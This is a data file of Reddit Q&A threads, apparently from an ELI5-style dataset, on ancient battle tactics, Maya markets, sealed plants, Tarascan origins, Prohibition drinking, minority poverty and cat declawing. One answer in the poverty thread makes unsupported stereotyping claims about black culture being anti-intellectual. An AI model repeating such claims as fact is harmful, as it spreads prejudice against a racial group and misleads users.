{"q_id": "2c84kv", "title": "The \"pulse\" model of ancient battles: What are the arguments for and against it, and can it be applied to anything other than an infantry vs infantry fight?", "selftext": "So basically, I have read on AskHistorians (if someone can dig out the original thread, I'd appreciate that) about a model for ancient infantry warfare.  \n  \nBasically, both side fights for only a short time, then break off to rest, drag the wounded away, let the leader give speeches etc... until one side is organised enough to fight again, at which point they charge again, and fighting resumes. This cycle repeats itself until one side breaks and routs.  \n  \nI feel this is very reasonable. I am currently learning a martial art, and can tell you that fighting is exhausting.  \n  \nI have also recently read a paper by Adrian Goldsworthy, where he rejects the \"othismos\" model for hoplite warfare in favour of the \"pulse\" model. This got me interested in reading about how the \"pulse\" model is constructed from the information in the sources.  \n  \nAlso, it seems that this is all in the context of an infantry battle. Do we have any idea how cavalry vs cavalry action, for example, operates? How does ranged units fit into all this?  \n  \nThanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2c84kv/the_pulse_model_of_ancient_battles_what_are_the/", "answers": {"a_id": ["cjcypc6", "cjdh444"], "score": [70, 2], "text": ["So I'm going to go ahead and run against the grain here and say that I do not subscribe to the \"pulse\" school of melee combat at all. The only time period and region that I know of where it is even a viable theory is in the Greek Cities roughly between about 500BC and 250BC. Its almost absurd to make assumptions about the entirety of warfare in antiquity based on one society in one small peninsula in the late Bronze age.\n\nI think its somewhat reasonable to imagine the \"pulse\" method being used during the hoplite Wars of Greece during the Golden age as this was a highly organized society with highly ritualized warfare. The men fighting the battles were typically wealthy, landowning, citizens who were invested in maintaining the warrior traditions of that culture and they would have known the cues that signaled when both sides would call time-out. This isn't to say that I totally buy the whole idea just that it seems possible in this particular context.\n\nNow lets turn to why I think the whole idea is completely ridiculous: maintaining the initiative is the key to winning battles, you want to dictate the terms of the engagement to the enemy. Taking a break in the middle of fighting gives the enemy an opportunity to recover the initiative, what commander is going to allow that to happen? Yes men get tired during battle, it is rigorous and exhausting but if your men are tired so are the enemy's! That is good, a tired enemy is better than a fresh one.\n\nIn addition it is incredibly difficult to get large groups of people to do anything at once. In large armies not fighting in the ritualized style of the Greeks how would one know to disengage? What happens if one part of the line disengages and the other doesn't? And lastly what advantage do you gain from disengaging?", "I hope my response doesn't seem anecdotal it is grounded in solid theory and strategy.\n\nThe typical understanding of the othismos doesn't make sense as an effective way to fight simply due to physiology.  I think a great example of this is American Football.\n\nAmerican Football players are armored in a very similar manner to hoplites, sure it's a little lighter and more comfortable but it's made of the same basic components.  American football players do a great deal of pushing.  They don't carry shields or spears but at some point many of the same strategical points and simple human behaviors come into play.\n\nFirst you can't willingly run into something without bracing for it.  Try running head first into a wall without throwing up your arms or having your feet enter a natural bracing stance moments before you hit.  Bet you can't do it.  I've never met anybody who could.  Now find somebody to charge you and knock you down.  Bet they lower their shoulder and I bet you do to before they hit you.  Standing up is not a natural way to impact.  So before impacting I assume the individuals in an army would enter some form of crouch behind the aspis.  The only other option is a headlong dash into an opponent. This at best results in you being rebuffed with some small pain and at worst ends in you overwhelming him and then lying on top of him slightly dazed for about 2 seconds, alone, with the entire opposing army forming up around you.\n\nSecond If an individual is in an optimized stance for pushing there is little additional strength added by pushing him in a way that would move him forward.  Optimal pushing is done with your body at about a 45 degree angle to the ground with feet shoulder width apart knees bent strong leg half a stride ahead of weak leg.  If you lean more than 45 degrees you are prone to tipping over and falling on the ground.  If you lean less your opponent is likely to get underneath you and push you over.  In this position I can push with about 900 lbs force if I have good footing.  Getting good footing is the key.  The best American Football linemen learn how to drive their feet constantly running in place resetting their footing and generating extra power through leg momentum.  This takes quite a bit of practice to do properly.  It also leaves you prone to overwhelming your opponent again possibly leaving you alone and dazed surrounded by the enemy.  So fixed footing is more likely.  This actually can be assisted slightly by placing your foot behind their back foot and setting your shield on their back but not pushing unless the front man is pushed back significantly above 45 degrees.  Any movement must come from the front/pushing mans own controlled movement of his feet.  This is great actually because in a position like this you are in a relatively braced position and also free to stab about with your spear.\n\nNow, if anybody mentions rugby scrums I'm going to lose it.  Rugby scrums, like goal line offense/defense in American Football, ends as often as not in pretty much everybody falling on the ground in a heap.  If this were to happen the three scenarios that could happen are; people fight on the ground rolling around and wrestling, everybody who fell down gets stabbed by those still standing up, or everybody falls down gets back up falls down again and repeats like a terrible slapstick comedy.  None of these scenarios match the descriptions given of ancient battles.\n\nThird in a pushing battle somebody eventually loses and the one who loses generally loses catastrophically.  One person either falls down or rises too high.  Fall down you get stabbed rise too high, well, once I get underneath you I have 900 lbs of force working against your maximum force of only your body weight.  If I throw you right I have a local force of my momentum at about 1.5X my body weight plus your momentum at 1.5X your body weight plus my pushing force so as much as about 1300lbs of force.  That's enough force for me to knock over several rows of men who aren't braced properly for pushing, remember without bracing for a push the maximum force is body weight.\n\nFourth pushing from the side is easy.  If I defeat the guy directly in front of me even for just a few seconds and then can push from the side at the men on either side of me I have a decent chance of starting a chain reaction of failures along my opponents front.  Many if not most of these failures will result in my opponent stumbling backward in some manner.  This creates momentary respite and also space.  Unfortunately the space is probably clogged with a few bodies (fallen, injured or dead both friend and enemy)\n\nFifth pushing is really tiring.  If I can create that space I probably wont have the energy to pursue.  after a couple of rounds I'll probably have enough energy to pick up my comrades and reform my line.  Then with about 30 seconds to 1 min of recovery I can do it all again.  That 30 seconds to 1 min of recovery are a lifesaver.  Without them in American Football you just get two 300lb men leaning against each other to avoid falling down.  I imagine it would be similar for ancient combatants.\n\nThe basic premise of my long and rambling post is that pushing has amazing potential as a weapon.  But if you try to do it as a mob of men against a force that understands how to push back properly you're not going to be very effective.  The well trained armies likely understood this and this in large part explain how a smaller army could stand against a larger army.  It's not just about how much force you have it's how you apply it.  I think othismos and pulse are not mutually exclusive.  People likely did actually physically push in combat but that style of combat would likely have created momentary lulls like men going back to the huddle.                  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "498w0h", "title": "Suppose you're in a Mayan city in AD50. Will you see stalls selling things like you would in an old world city? If \"yes\" what sort of things would you see being sold, and how would you pay for them?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/498w0h/suppose_youre_in_a_mayan_city_in_ad50_will_you/", "answers": {"a_id": ["d0pz4q5", "d0r6ria"], "score": [47, 6], "text": ["We actually do not know the answer to this yet. There have been no confirmed markets identified so far in the Mayan world. Bruce Dahlin, a Mesoamerican archaeologist, argued that he identified a marketplace at a site called Chunchucmil in the Yucatan. The area in question did, in fact, have stalls. However, it's not entirely clear whether the site served specifically as a marketplace in the traditional European sense.", "The short answer is maybe. \n\n50 AD is in the Preclassic period for the Maya, which when compared to the Classic and Postclassic periods, we know very little of. There is very strong evidence for markets and a market economy in the Postclassic period. Dahlin et al (2007) cite a few words in Maya which *might* have some antiquity to them stretching to the Classic period. *K\u2019iwik* or *kiuik* can be translated to \u201cmarket\u201d, \u201cfair\u201d, or \u201cwhere one buys or sells\u201d. *Pplom* means \u201cprofessional merchants\u201d and *ah\u2019 pplom* means \u201ctraveling merchants\" (Barrera Vasquez 1980:405). The Maya in the Postclassic also have a merchant deity called Ek Chuah, which may have evolved from the Classic Maya deity known as God L (Taube 1992: 79-88). Then there are historical accounts of Maya traders traveling up and down the coast and into the Caribbean to conduct trade. But that\u2019s the Postclassic and you\u2019re asking about the Preclassic and archaeologists are not quite sure if the Classic period had markets. Let me explain why.\n\nMarket economies are extremely difficult to identify. Most of the goods being traded are either organic goods like food, wood, and clothing which just do not preserve well in the hot and humid Maya environment or non-exotic and non-luxury goods inorganic goods which could be better explained with other forms of economic exchange like direct consumption by the producer, balanced or generalized reciprocity, or redistribution. And in the Classic period, written and artistic evidence points more towards a non-market economy in which distribution was probably the norm. Exotic and luxury goods are disproportionately in the hands of elites. There is a distinct lack of places in cities which could be considered market areas like arcades or small simple foundations arrayed in such a way to suggest a market area with stalls. \n\nThat being said, Dahlin et al do believe they discovered a market at the site of Chunchucmil mentioned by sophrosyne. Chunchucmil is located in the northwestern portion of the Yucatan peninsula near the second largest salt pan fields in the Maya region. The city is large, it is one of the largest Classic period cities in northern Yucatan and it is located in an area with very thin soil that is prone to flooding. The city has a distinct lack of prominent and centralized religious and elite buildings. Instead, the city is dotted with elite compounds whose most ornate decorated elements are withheld from public view along with smaller and not as imposing pyramids. There is a space at Chunchucmil which Dahlin et al believe to be a market space for a variety of reasons. The space lacks the typical diagnostic characteristics of a plaza which would have been used for ceremonies and the elite. There are small arrangements of stone that are kind of arranged in rows. The space also is where several *sacbe* or *sacbeob*, \u201cwhite road\u201d, converge within the city. These \u201cwhite roads\u201d were raised and plastered roads which connected settlements together and facilitated trade and movement of people. Around this space is a platform, but it\u2019s not ornate and not very distinguishable from other platforms. With such a large population and low carrying capacity, Dahlin et al believe that Chunchucmil almost needed a market in which to supply the city with food with salt perhaps being a medium of exchange.\n\nWith these lines of evidence, Dahlin et al tested the soil from this space, along with soil samples within the city and controlled samples taken from outside the city, to determine phosphorous levels. If the people of Chunchucmil were trading organic material, there would be higher levels of phosphorous in the space than compared to other parts of the city and outside the city. What they found is that within areas in the space there are higher than normal levels of phosphorous, but the levels are not the same throughout. To explain this, they looked towards a modern market in Antigua, Guatemala. There they recorded where the stalls were, what activities were taking place, and took soil samples from each of these areas to compare with their Chunchucmil samples. What they found in the Antigua market is that there is a food preparation area, a vegetable and fruit sales area, an area with mixed use pathways, and an area in which readymade food was sold. Comparing those values with their values from Chunchucmil, they believe the concentrations of phosphorous align with a similar sort of distribution.\n\nBut Chunchucmil is one case in a unique city which cannot be adequately applied to the entirety of the Classic Maya or even Preclassic Maya world. So [Masson and Freidel (2012)](_URL_0_) took things one step closer in trying to determine if the Classic Maya had markets. They compared consumption of different materials and craft specialization between the Postclassic northern Yucatan city of Mayapan and the Classic Lowland city of Tikal. The materials they looked at were obsidian, fancy pottery, and shells and they go into a lot of detail about it, which I will not bore you with. What they argued is that even with part time craft surplus production at the household level was enough to create complex systems of regional market exchange in the Classic period. Cities are not self-sufficient and in order to survive they needed to tap into these regional markets. These markets would have provided solutions for periodic resource shortages and heterogeneous resource distributions in the Maya area over the long term and would have, in fact, contributed to the stability of elite political control perhaps more so than intra-regional luxury good trading. \n\nSo what we have is a maybe for the Classic period and an unknown for the Preclassic. If it turns out that the Classic period did have markets than it is reasonable to guess that the Preclassic might also have had markets. But in order to confirm markets for both periods, much more work is needed especially for the Preclassic period.\n\nBut what would they have used for exchange? In the Postclassic Mesoamerican world the normal things for exchange was cacao, cotton mantles of a set length, width, quality, and material, and salt. As I mentioned above, Chunchucmil was probably one of the largest producers of salt in the Maya world and since people need salt they would have had a great source of wealth in order to trade for goods. In fact, Chunchucmil, despite not having a large religious or elite presence, has a lot of exotic goods like jade and obsidian for the \"middle\" class.\n\n---\n\n* Barrera V\u00e1squez, Alfredo, et al. \"Diccionario Maya Cordemex: Maya-Espa\u00f1ol.\" Espa\u00f1ol-Maya, Ediciones Cordemex, M\u00e9rida, Mexico (1980).\n\n* Dahlin, Bruce H., et al. \"In search of an ancient Maya market.\" Latin American Antiquity (2007): 363-384.\n\n* Masson, Marilyn A., and David A. Freidel. \"An argument for Classic era Maya market exchange.\" Journal of Anthropological Archaeology 31.4 (2012): 455-484\n\n* Taube, Karl Andreas. \"The major gods of ancient Yucatan.\" Studies in Pre-Columbian Art and Archaeology 32 (1992): i-160."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://travelogos.com/works/wp-content/uploads/An-argument-for-Classic-era-Maya-market-exchange-Journal-of-Anthropological-Archaeology-Mannson-Friedel-2012.pdf"]]}
{"q_id": "1lkxx9", "title": "If I kept a plant in a sealed plastic bag, would it suffocate?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lkxx9/if_i_kept_a_plant_in_a_sealed_plastic_bag_would/", "answers": {"a_id": ["cc0aun9", "cc0cfzw", "cc0ctan"], "score": [8, 13, 4], "text": ["A sealed plastic bag is pretty ambiguous. A plastic bottle would work fine.\n\n[Bottle Gardens](_URL_1_) are quite popular.\n\nPlants use oxygen in [respiration](_URL_0_), so it would not suffocate.", "It depends on a lot of variables, such as the type of plant, the size of the bag, how much air, water, and nutrients were inside it, how much light it was getting, etc. If you managed to balance all of those factors, it could very well live indefinitely. On a much grander scale, our planet is essentially a little container sitting in the sun with plants growing in (on) it.", "Plant tissue culture guy here. We do this all the time for weeks, months, even years.\n\n[This guy](_URL_0_) has had a bottle garden going that hasn't been opened in 40 years.\n\nPlastic bags really aren't all that effective in that polyethylene allows carbon dioxide to diffuse in and out- and some water will be lost as well. If we change that to glass, it works much better in the long run.\n\nI've kept sealed cultures of plants under axenic conditions for months, sometimes years. We do get some problems with some plants- they seem to asphyxiate, and when the containers are opened they smell like cut hay. I've never been able to get a headspace analysis done in order to find out what those gases are."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.cmg.colostate.edu/gardennotes/141.html", "http://en.wikipedia.org/wiki/Bottle_garden"], [], ["http://plantcaretoday.com/seedling-sealed-in-its-own-ecosystem-watered-once-in-53-years.html"]]}
{"q_id": "56dzyp", "title": "How valid/accepted is the theory that the Tarascans were a group who migrated from South America?", "selftext": "I was taking a look at my fav [TV Trope](_URL_0_) and came upon this theory. What's the evidence? Is there any? Who supports it? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/56dzyp/how_validaccepted_is_the_theory_that_the/", "answers": {"a_id": ["d8jeczn"], "score": [6], "text": ["Malmstrom (1995) suggested that the Tarascans may have had an origin in South America, but his argument does not seem to hold up very well. His evidence was largely based on an account of a trader from \"somewhere south\" during the colonial period and some loose linguistic ties between Purepecha and Chibcha. As for the first, a Spaniard by the name of Rodrigo de Albornoz wrote this to the king of Spain in 1525,\n\n >  According to the Indians of Zacatula, at the mouth of the Rio Balsas, their fathers and grandfathers had told them that from time to time Indians had come to that coast from certain islands on the south in large dugout canoes, bringing excellent things to trade and taking other things from the land. Sometimes, when the sea was running high, those who came stayed for five or six months until good weather returned, the seas became calm, and they could go back.\n\nThis certainly sounds plausible, and even feasible, for [coastal trade](_URL_1_) to occur on the Pacific. Coastal trade from Veracruz to Honduras was not unknown on the Atlantic side with trade from Mesoamerica [reaching](_URL_3_) into the [Caribbean](_URL_10_). Carrie Dennett, a researcher of the Nicoya people in Costa Rica, had once told me that she believed coastal trade in the Atlantic extended much further south. Colonial accounts record how Natives rushed to the shores when Europeans landed to see what kinds of goods they had. Most people the Spanish encountered were hesitant and certainly didn't rush to see the Spanish. To her, this suggested a long standing tradition of trade and trade with foreigners since the look of the Spanish did not seem to be a factor.\n\nRichard Callaghan (2003) ran a simulation to see if such travel and possible trade was even possible between West Mexico and South America. Part of this was because of the account above, but also because metallurgy seems to have spread from Panama and Colombia/Ecuador to West Mexico around the same time between 600 and 900 AD (see Hosler's huge corpus of work on metallurgy). \n\nSo we have this account of trade, we have a model saying that the trip was certainly feasible. Does that mean that people migrated from south to north? Part of the crux is the language argument from Malmstrom. He mentions the similarity between Purepecha and Chibcha, but fails to mention that the languages split several thousand years ago . That split may have been a result of people population the New World with other languages displacing the two between Michoacan and Ecuador in the intervening time period. The language hypothesis also fails to take into consideration any local dialects to Purepecha that may have been stamped out or erased by the Tarascans as they expanded out of the Patzcuaro Basin (Beekman, personal communication). Like the Inca, the Tarascans tended to move people around within their empire and have a much firmer grasp of their territory rather than the loose tributary management system employed by their Aztec rivals (see Pollard 1993, Warren 1985).\n\nAnawalt (1992) also suggested connections between South America and West Mexico, but did not suggest migration. Instead she advocated trade and based her reasoning off of clothing. She argued that clothing styles may have linked the two areas. Both in West Mexico and in Ecuador, men preferred to wear breeches with a shirt and women preferred a skirt and mini-mantle that would [sometimes cover their breasts](_URL_5_). This style of clothing is very common among [shaft tomb figures](_URL_4_) in Jalisco and Nayarit that date to the Late Formative and Classic periods (300 BC to 550 AD). And the clothing preference continued into the Postclassic with the Tarascans. This clothing style clashes with the rest of Mesoamerica where men preferred to wear [loincloths and rectangular capes](_URL_8_) with women wearing long, wrap around [skirts and huipils](_URL_0_). Anawalt offers comparisons to the Chorrera phase figures found in the Manabi province who show striking similarities with Ixtlan del Rio style figures from Nayarit in Mexico. In fact, I've remarked to /u/Qhapaqocha on a number of occasions the similarity in the way the figures look themselves separate from the clothing styles. Anawalt further supports her position by examining textile weaving with comparisons between South America and the Southwest. She argued that two weaving techniques, a gauze weave and an alternating-warp float weave, show connections along the Pacific coast. She cites examples from Peru and Ecuador in South America and examples in Guerrero and Sinaloa in Mexico that appear to be constructed using the same techniques. These two techniques apparently differ from other weaving techniques found elsewhere in Mesoamerica. \n\nThe catalyst that Anawalt argues for contact between the two regions is that of the spondylus shell. Spondylus grows in great abundance off the West Mexican coast, but near Ecuador it is few and far between. Nonetheless, spondylus occurs often and regularly in the archaeological record in Ecuador. Anawalt doesn't really offer any suggestions for what might have been traded to West Mexicans for spondylus shell. Textiles are a possibility, but cotton is not unknown to West Mexico and they did not need to import cotton. It could have been metal items, but metal doesn't seem to appear until after the Classic period. Food would most likely not make the trip. So without any sort of source analysis on spondylus in South America and distinctly South American items found in West Mexico, this sort of remains an unproven hypothesis. I touched upon the topic [here]( _URL_9_) with some other evidence.\n\nSo while the link between South America and West Mexico remains tenuous, that doesn\u2019t\u2019 mean that migration did not factor into the formation of the Tarascan empire. /u/Ucumu could probably go much more in depth on that this than I can, but I can briefly comment on it. According to the Relacion de Michoacan, a post-Conquest manuscript thought to have been written by Jer\u00f3nimo de Alcal\u00e1, Tarascan nobility was a fusion of local island dwelling elites in the Patzcuaro area with Chichimec *uacusecha* (eagle) peoples that entered the region in the Postclassic.  Excavations have shown that around Carupo and Zacapu, there may have been a surge of migrants from elsewhere (Faugere-Kalfon 1991, Migeon 2005). These *uacusecha* were most likely another wave in a long line of waves of migrants out of the [Baj\u00edo]( _URL_7_) and northern Mexican region that were fleeing unfavorable agricultural conditions such as drought (Beekman and Christiansen 2003, 2011). These migrants were the same ones that spread out to the rest of Mesoamerica in various shapes and forms. There were Nahuatl migrants who traveled as far as El Salvador and became the Pipil people, there were migrants at the end of the [Classic period]( _URL_6_) in Jalisco who fundamentally changed the archaeological record, there were the migrants who became the fierce [Caxcan]( _URL_2_) fighters of Postclassic Jalisco who also worshiped Huitzilopochtli, there were the migrants who joined with local Natives in Hidalgo to become the Toltec, there were the migrants who formed the Early Postclassic city-states in the Basin of Mexico, and there were migrants that we know as the Mexica who conquered the Basin of Mexico in the Late Postclassic and helped to found the Triple Alliance. \n\nIn summary, the Tarascans were most likely not founded by South American groups. There may have been contact between West Mexico and South America as early as the Late Formative/Classic periods, but we\u2019re still looking for more solid evidence. However, Tarascan myth does say they were founded partly by migrants who are most likely another wave of Chichimec migrants into southern Mesoamerica as was the Mexica and other groups."]}, "title_urls": [], "selftext_urls": ["http://tvtropes.org/pmwiki/pmwiki.php/Main/Mayincatec"], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/thumb/4/47/Vestimenta_Femenina_Mexica.svg/2000px-Vestimenta_Femenina_Mexica.svg.png", "https://www.reddit.com/r/AskHistorians/comments/4rm6k1/indigenous_peoples_of_mesa_verde_in_colorado_and/", "https://www.reddit.com/r/AskHistorians/comments/3rrpe3/askhistorians_podcast_049_shaft_tombs_of_west/cxif2mi", "https://www.reddit.com/r/AskHistorians/comments/1szvon/evidence_of_contact_between_cuba_and_yucatan/", "http://collections.lacma.org/node/253536#0", "http://www.robertmorrisfineart.com/gallery/pre-columbian/mexico/large-and-fine-ixtlan-del-rio-standing-female-figure/", "https://www.reddit.com/r/AskHistorians/comments/3ykzsy/im_reading_a_lot_about_the_migration_period/cyeyv53", "https://www.reddit.com/r/AskHistorians/comments/3atv2y/has_there_ever_been_archaeological_written/", "https://upload.wikimedia.org/wikipedia/commons/thumb/5/5c/Vestimenta_Masculina_Mexica.svg/2000px-Vestimenta_Masculina_Mexica.svg.png", "https://www.reddit.com/r/AskHistorians/comments/41stro/before_european_contact_how_far_did_trade_routes/cz4xbo9", "https://www.reddit.com/r/AskHistorians/comments/50kv1w/in_1466_would_the_natives_in_cuba_have_been_aware/"]]}
{"q_id": "3266fx", "title": "Prohibition's in effect. It's 5pm on Friday and I'm your average prohibition era working joe and I wanna get drunk! What do I have to do? Is this going to be easy for me?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3266fx/prohibitions_in_effect_its_5pm_on_friday_and_im/", "answers": {"a_id": ["cq8igyt"], "score": [63], "text": ["I imagine the answer will vary significantly by locale. In New Orleans, for example, liquor was still widely available, with waiters at some restaurants (e.g. Tujaque's, still an institution) carrying around small bottles in their aprons to discreetly add to patrons' drinks. Some of this was legitimately acquired booze, as there was an exemption in the Volstead Act for liquor to be used for \"legitimate culinary purposes,\" e.g. sherry or brandy in soups or desserts. However, much of it was bootlegged, brought in via the port or down the river. \n\nThis is also a chance to tell my favorite New Orleans/Prohibition story:\n\n >  Izzy Einstein was a highly successful federal agent of the U.S. Prohibition Unit who (between 1920 and 1925, using countless disguises to aid him in purchasing alcohol) made 4,932 arrests of bootleggers, bartenders and speakeasy owners. He found the illegal alcohol quickly: only twenty-one minutes in Chicago, seventeen in Atlanta, and in Pittsburgh a speedy eleven minutes. But in the Crescent City, it was an astonishing thirty-five seconds before an arrest. Hopping into a New Orleans taxi, Izzy asked the driver where he could get a drink. The taxi driver reached back and produced the goods almost immediately, whereupon Izzy cuffed him and broke a new speed record. \n\nYou can read more about Prohibition in New Orleans here: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.neworleansbar.org/uploads/files/Prohibition%20in%20New%20Orleans_1-8.pdf"]]}
{"q_id": "1iu2nk", "title": "why are minorities more often poor?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1iu2nk/eli5_why_are_minorities_more_often_poor/", "answers": {"a_id": ["cb812ik", "cb819fg", "cb81gck", "cb81lu4", "cb81vng", "cb848ji", "cb84pzy", "cb87b18", "cb88aqy", "cb8b2nq"], "score": [5, 15, 28, 5, 5, 3, 6, 4, 2, 2], "text": ["Because minorities are often discriminated against. If you're a minority, it's harder to do any of the things you need to stop being poor.", "Right now it's not an issue of institutional discrimination, it's an issue of legacy discrimination.\n\nIn the past, they were discriminated against and didn't have ability to create wealth for themselves or their descendants.  Currently, they're unable to rise out of poverty for the same reasons *all* poor people are unable to rise out of poverty... 'cause it's borderline impossible to raise yourself out of poverty. \n\nThere are some additional hurdles that specific minorities have, (not exclusive, but for instance...) like inner-city blacks needing to overcome an anti-education bias, but those differ both between minorities and within minorities in different culture groups. ", "They did a scientific experiment, called \"Are Emily and Greg More Employable than Lakisha and Jamal?\"\n\n_URL_0_\n\nThe experiment was simple: they make two copies of the same resume.  They put a \"white-sounding\" name on one copy (eg, Emily Smith) and a \"black-sounding\" name on the other copy (eg, Lakisha Washington).  The imaginary white person got 15 job offers for every 10 that the black person received, even though their credentials were literally identical.\n\nThat's freaking enormous.", "Minorities have centuries of hard socio-economic oppression to overcome, something that simply isn't achievable in a handful of 'free' generations.\n\nLet's imagine that you're invited to a game of Monopoly. You're told \"Hey: go ahead and sit down. Play the game; we're going to give you a chance to play just like everyone else.\"\n\nInstead of giving players an equal start, players are predefined as either rich or poor. The rich player received three times the usual starting cash. The poor player received half the usual starting cash, gets half as much money for passing go, and has to roll one die instead of the usual two. Obviously, the poor player looses\u2014and quickly.\n\nIts *very* difficult to get yourself out of poverty when you start poor, and it's very easy to generate money when you start rich. \n\n", "Grow up poor - >  follow the street code while growing up in poor neighborhood - >  have a kid - >  get shot or locked up trying to feed kid - >  kid grows up the same way you did - >  repeat", "Immigrants take shitty jobs and try to live among people that speak the same language, and share the same culture. And it's that simple to form a culture tied to an economic class.", "_URL_0_\n\nAfrican American children are three times more likely to live in poverty than Caucasian children. American Indian/Alaska Native, Hispanic, Pacific Islander, and Native Hawaiian families are more likely than Caucasian and Asian families to live in poverty (Costello, Keeler,  &  Angold, 2001; National Center for Education Statistics, 2007).\n\nMinorities are more likely to receive high-cost mortgages: African Americans (53 percent) and Latinos (43 percent), in comparison to Caucasians (18 percent) (Logan,2008).\n\nUnemployment rates for African Americans are typically double those of Caucasian Americans. African American men working full time earn 72 percent of the average earnings of comparable Caucasian men and 85 percent of the earnings of Caucasian women (Rodgers, 2008).\n\nAfrican Americans and Latinos are more likely to attend high-poverty schools than Asian Americans and Caucasians (National Center for Education Statistics, 2007).\n\nMinority children in high-poverty areas are more likely to be exposed to alcohol and tobacco advertisements (Wallace, 1999) and drug distribution (Wallace, 1999); they are also more likely to use drugs and exhibit antisocial behaviors (Dubow, Edwards,  &  Ippolito, 1997).\n\nIn addition to socioeconomic realities that may deprive students of valuable resources, high-achieving African American students may be exposed to less rigorous curriculums, attend schools with fewer resources, and have teachers who expect less of them academically than they expect of similarly situated Caucasian students (Azzam, 2008).\n\n-----\n\nIt's called a \"cycle.\" A cycle which involves many factors which produce nearly predictable outcomes for the next generation. ", "Well not all minorities are more often poor.  Asians typically are better off.\n\nIf you are asking why are blacks often poor, in addition to the PC answers that have already been mentioned, you also have cultural issues that discourage process.  A lot of segments of black culture are fiercely anti-intellectual.  You also have a lot of people who would rather attribute their lack of success to the system, than actually improve themselves  And of course, for multiple reasons, having poor poor parents begets raising impoverished progeny.", "At the very simplest level, your question answers itself. Because minorities are more often born poor, they are more often poor. ", "Basically, it's a vicious cycle.\nMinorities historically have been stuck in poor regions, discriminated against, and had to live in poor areas. Minorities tend to live in similar areas, which is why some areas are considered black or hispanic neighborhoods. It started as a poor area, which meant schools were bad, which meant they didn't go to college, which meant that they stayed in that area and didn't get a good job. This is all a generalization. But they tend to start in a poorer region, and it's hard to get out of them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.nber.org/papers/w9873"], [], [], [], ["http://www.apa.org/pi/ses/resources/publications/factsheet-erm.aspx"], [], [], []]}
{"q_id": "2t1xgn", "title": "how does declawing a cat work and is there any consequences of having the surgery?", "selftext": "My parents are making my cat get declawed today, and,me being me, is super worried and anxious about it because my cat helps me with my problems by keeping my mind off of things and being funny. I really don't feel as if declawing is the right thing to do, but my parents have the final go on that.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2t1xgn/eli5_how_does_declawing_a_cat_work_and_is_there/", "answers": {"a_id": ["cnuxopn", "cnuxpiv", "cnuxwt5", "cnuywyg", "cnv1osn", "cnvacfo"], "score": [9, 10, 33, 8, 2, 2], "text": ["Taken from _URL_0_: \" Declawing is not like a manicure. It is serious surgery. Your cat's claw is not a toenail. It is actually closely adhered to the bone. So closely adhered that to remove the claw, the last bone of your the cat's claw has to be removed. Declawing is actually an amputation of the last joint of your cat's \"toes\". When you envision that, it becomes clear why declawing is not a humane act. It is a painful surgery, with a painful recovery period. And remember that during the time of recuperation from the surgery your cat would still have to use its feet to walk, jump, and scratch in its litter box regardless of the pain it is experiencing.\"", "While the term declawing sounds relatively simple, the process actually involves amputation of some amount of the animal's toes, potentially up to the last phalange (the final bone), as the claw cannot be fully removed otherwise. \n\nCats tend to recover fairly quickly (a few days), although there are some reports of problems such as behavioral changes (increased aggression, pooping around the house, and such) to physical, such as partial paralysis.\n\nHowever, as an additional anecdote, I have one declawed cat (it was adopted this way, I don't personally approve of the practice) and that cat is very sweet and well behaved, so it's not necessarily doom and gloom. \n", "Look at your hand. Now imagine that someone just cut off the last knuckle of your fingers.\n\nThat's declawing. ", "On top of it being cruel mutilation, one of the biggest downsides other than the pain will be that for the rest of its life, your cat will be unable to defend itself if it's attacked by another animal.\n\nIf the cat scratching things is a problem it could be that they don't have something designated for scratching. It's something they *need* to do, and will do it on furniture and carpets if they don't have their own scratching post (it can take a couple of tries to get them a scratching post that they like).\n\nScratching can also be a sign of stress, often from another pet or human that they don't like or living conditions that are not as they want, i.e. being kept indoors can be stressful. i.e. all of this could be a problem that's been created and has caused your cat to scratch, something that could be sorted out without mutilating and hurting it.\n\nIf there's any time left before they force this on your pet, perhaps these could be an alternative [claw caps](_URL_0_) little rubber caps that stop them being able to damage things by scratching but don't hurt them.", "I will never declaw a cat again because we did once when I was younger and the cat ran out of the front door and a dog chased her and she couldn't get up a tree to get away. ", "So people are mentioning how a declaw is done, and they are correct. It is the amputation of basically the tips of the toes. \n\nThere are different ways to accomplish this: \n\n1) Manual declaw (known as the guillotine method): basically take a huge pair of dog claw trimmers and cut off the tip of the toe. No, dog claw trimmers aren't what is used, but the tool resembles them. This is the cheapest method, and because it is a blunt force injury it has the longest healing time, and the higher risk for prolonged physical complications. (a bit of bone tends to be left behind, causing pain to the cat when it walks).\n\n2) The second method uses a traditional scalpel. The tendons around the claw are cut, and then the claw removed. \n\n3) The third method is the laser. With this, the same method is followed as the scalpel method, only a laser is used. This cauterizes the blood vessels as it goes. It results in slightly longer healing times, but also reduces painful swelling and bleeding when compared to the other methods. This is the most expensive method. \n\nSo, if you're going to have it done...go for the second or third method. \n\nAfter the surgery is complete, you wrap the cats feet in pressure bandages (reduces bleeding) and give them some painkillers. The vet should take off the pressure bandages before the cat comes home. They may or may not give you some more painkillers. You should keep the cat from jumping, and keep them from chewing their stitches/surgical glue.\n\nIf your cat is young (under 1 yr), has a good surgery, and receives proper pain control, the chances of them bouncing back psychologically are *very* high."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["declawing.com"], [], [], ["http://www.softpaws.com/"], [], []]}
